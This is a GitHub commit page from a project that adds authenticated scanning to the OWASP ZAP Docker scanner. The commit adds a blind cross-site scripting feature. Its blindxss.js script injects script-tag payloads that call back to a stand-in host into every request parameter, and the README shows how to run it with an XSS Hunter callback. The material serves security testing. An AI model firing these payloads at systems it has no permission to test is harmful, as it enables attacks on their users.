Skip to content
This repository was archived by the owner on May 13, 2024. It is now read-only.

Commit

Permalink
Add Blind XSS support (#28)
Browse files Browse the repository at this point in the history
* Support for Blind XSS injection

Co-authored-by: bryan_onvio <[email protected]>
  • Loading branch information
dicksnel and bryan_onvio authored Feb 5, 2021
1 parent abf6a2f commit 676ed93
Show file tree
Hide file tree
Showing 7 changed files with 224 additions and 88 deletions.
4 changes: 4 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,10 @@ RUN mkdir /zap/wrk \
&& export PATH=$PATH:/usr/bin/geckodriver

ADD . /zap/

ADD scripts /home/zap/.ZAP_D/scripts/scripts/active/
RUN chmod 777 /home/zap/.ZAP_D/scripts/scripts/active/

RUN pip install -r /zap/requirements.txt \
&& chown -R zap:zap /zap/ \
&& chmod +x /zap/zap-baseline-custom.py
Expand Down
22 changes: 18 additions & 4 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ This project adds support to perform authenticated scans using the OWASP ZAP Doc

You can find the Docker image on [ictu/zap2docker-weekly](https://hub.docker.com/r/ictu/zap2docker-weekly)

# Examples
# Examples using authentication

1. Running a passive scan with automatic authentication.
```
Expand Down Expand Up @@ -46,14 +46,14 @@ Note: exclude and include URL's are comma separated regular expressions. Example
```

Note:
`-j` means the AJAX spider is enabled (in addition to the default spider)
`-j` enable the AJAX spider (in addition to the default spider)
`-m 60` limits the spider to 60 minutes.
`-T 60` limits the scanner to 60 minutes.
Note: `-I` means do not return an errorcode if there are issues found.
`-I` do not return an errorcode as exitcode if there are issues found.

For more info on the different scantypes and parameters take a look at: https://www.zaproxy.org/docs/docker/

# Extra parameters
# Extra authentication parameters

```
auth.auto Automatically try to find the login fields (username, password, submit). Default True.
Expand All @@ -68,6 +68,20 @@ auth.exclude Comma separated list of excluded URL's (regex). Defaul
auth.include Comma separated list of included URL's (regex). Default: only the target URL and everything below it.
```

# Blind XSS Payloads

This hook supports injecting Blind XSS payloads. You need to provide your callback URL which the XSS payload should trigger. This hook will automatically inject your payload in all possible locations like input fields, headers and cookies. (thanks to @greckko)

The below example uses [XSSHunter](https://xsshunter.com/) as a callback:

```
docker run --rm -v $(pwd):/zap/wrk/:rw -t ictu/zap2docker-weekly zap-full-scan.py -I -j -m 10 -T 60 \
-t https://demo.website.net \
-r testreport.html \
--hook=/zap/auth_hook.py \
-z "xss.collector=xsshunter.xss.ht"
```

# Limitations
1. Since this authentication solution uses a webdriver a [custom image](https://hub.docker.com/repository/docker/ictu/zap2docker-weekly) is needed to meet these requirements.
2. Cookies that are automatically set by this script will not add flags like HttpOnly, Secure and SameSite. ZAP does not support setting these cookies using the API. This will result in false-positives in the report regarding these flags.
21 changes: 15 additions & 6 deletions auth_hook.py
Original file line number Diff line number Diff line change
@@ -1,22 +1,24 @@
import zap_webdriver
import zap_auth
import zap_config
import zap_blindxss
import os
import traceback
import logging

webdriver = zap_webdriver.ZapWebdriver()
config = zap_config.ZapConfig()

# Triggered when running a script directly (ex. python zap-baseline.py ...)
def start_docker_zap(docker_image, port, extra_zap_params, mount_dir):
try:
webdriver.load_from_extra_zap_params(port, extra_zap_params)
config.load_config(extra_zap_params)
except:
logging.error("error in start_docker_zap: %s", traceback.print_exc())
os._exit(1)

# Triggered when running from the Docker image
def start_zap(port, extra_zap_params):
try:
webdriver.load_from_extra_zap_params(port, extra_zap_params)
config.load_config(extra_zap_params)
except:
logging.error("error in start_zap: %s", traceback.print_exc())
os._exit(1)
Expand All @@ -28,9 +30,16 @@ def zap_started(zap, target):
# The url can include a valid path, but always reset to spider the host
target = target[0:target.index('/', 8)+1]

webdriver.login(zap, target)
scan_policy = 'Default Policy'
zap.ascan.update_scan_policy(scanpolicyname=scan_policy , attackstrength="LOW")
zap_auth.ZapAuth().login(config, zap, target)
zap_blindxss.load(config, zap)
except:
logging.error("error in zap_started: %s", traceback.print_exc())
os._exit(1)

return zap, target
return zap, target

# def zap_pre_shutdown(zap):
# for url in zap.spider.all_urls:
# logging.info("found: %s", url)
74 changes: 74 additions & 0 deletions scripts/blindxss.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
// An example active scan rule script which uses a set of attack payloads and a set of regexes
// in order to find potential issues.
// Replace or extend the attacks and evidence regexes with you own values.

// Note that new active scripts will initially be disabled
// Right click the script in the Scripts tree and select "enable"

// Replace or extend these with your own attacks
// put the attacks you most want to run higher, unless you disable the attack strength check
var attacks = [
'<script src=//callbackdomain.com>',
'"><script src=//callbackdomain.com>',
]

/**
* Scans a "node", i.e. an individual entry in the Sites Tree.
* The scanNode function will typically be called once for every page.
*
* @param as - the ActiveScan parent object that will do all the core interface tasks
* (i.e.: sending and receiving messages, providing access to Strength and Threshold settings,
* raising alerts, etc.). This is an ScriptsActiveScanner object.
* @param msg - the HTTP Message being scanned. This is an HttpMessage object.
*/
function scanNode(as, msg) {
// Do nothing here - this script just attacks parameters rather than nodes
}

/**
* Scans a specific parameter in an HTTP message.
* The scan function will typically be called for every parameter in every URL and Form for every page.
*
* @param as - the ActiveScan parent object that will do all the core interface tasks
* (i.e.: sending and receiving messages, providing access to Strength and Threshold settings,
* raising alerts, etc.). This is an ScriptsActiveScanner object.
* @param msg - the HTTP Message being scanned. This is an HttpMessage object.
* @param {string} param - the name of the parameter being manipulated for this test/scan.
* @param {string} value - the original parameter value.
*/
function scan(as, msg, param, value) {
// Debugging can be done using print like this
//print('scan called for url=' + msg.getRequestHeader().getURI().toString() +
// ' param=' + param + ' value=' + value);

var max_attacks = attacks.length // No limit for the "INSANE" level ;)

if (as.getAttackStrength() == "LOW") {
max_attacks = 6
} else if (as.getAttackStrength() == "MEDIUM") {
max_attacks = 12
} else if (as.getAttackStrength() == "HIGH") {
max_attacks = 24
}

for (var i in attacks) {
// Dont exceed recommended number of attacks for strength
// feel free to disable this locally ;)
if (i > max_attacks) {
return
}
// Copy requests before reusing them
msg = msg.cloneRequest();

// setParam (message, parameterName, newValue)
as.setParam(msg, param, attacks[i]);

// sendAndReceive(msg, followRedirect, handleAntiCSRFtoken)
as.sendAndReceive(msg, false, false);

// Check if the scan was stopped before performing lengthy tasks
if (as.isStop()) {
return
}
}
}
Loading

0 comments on commit 676ed93

Please sign in to comment.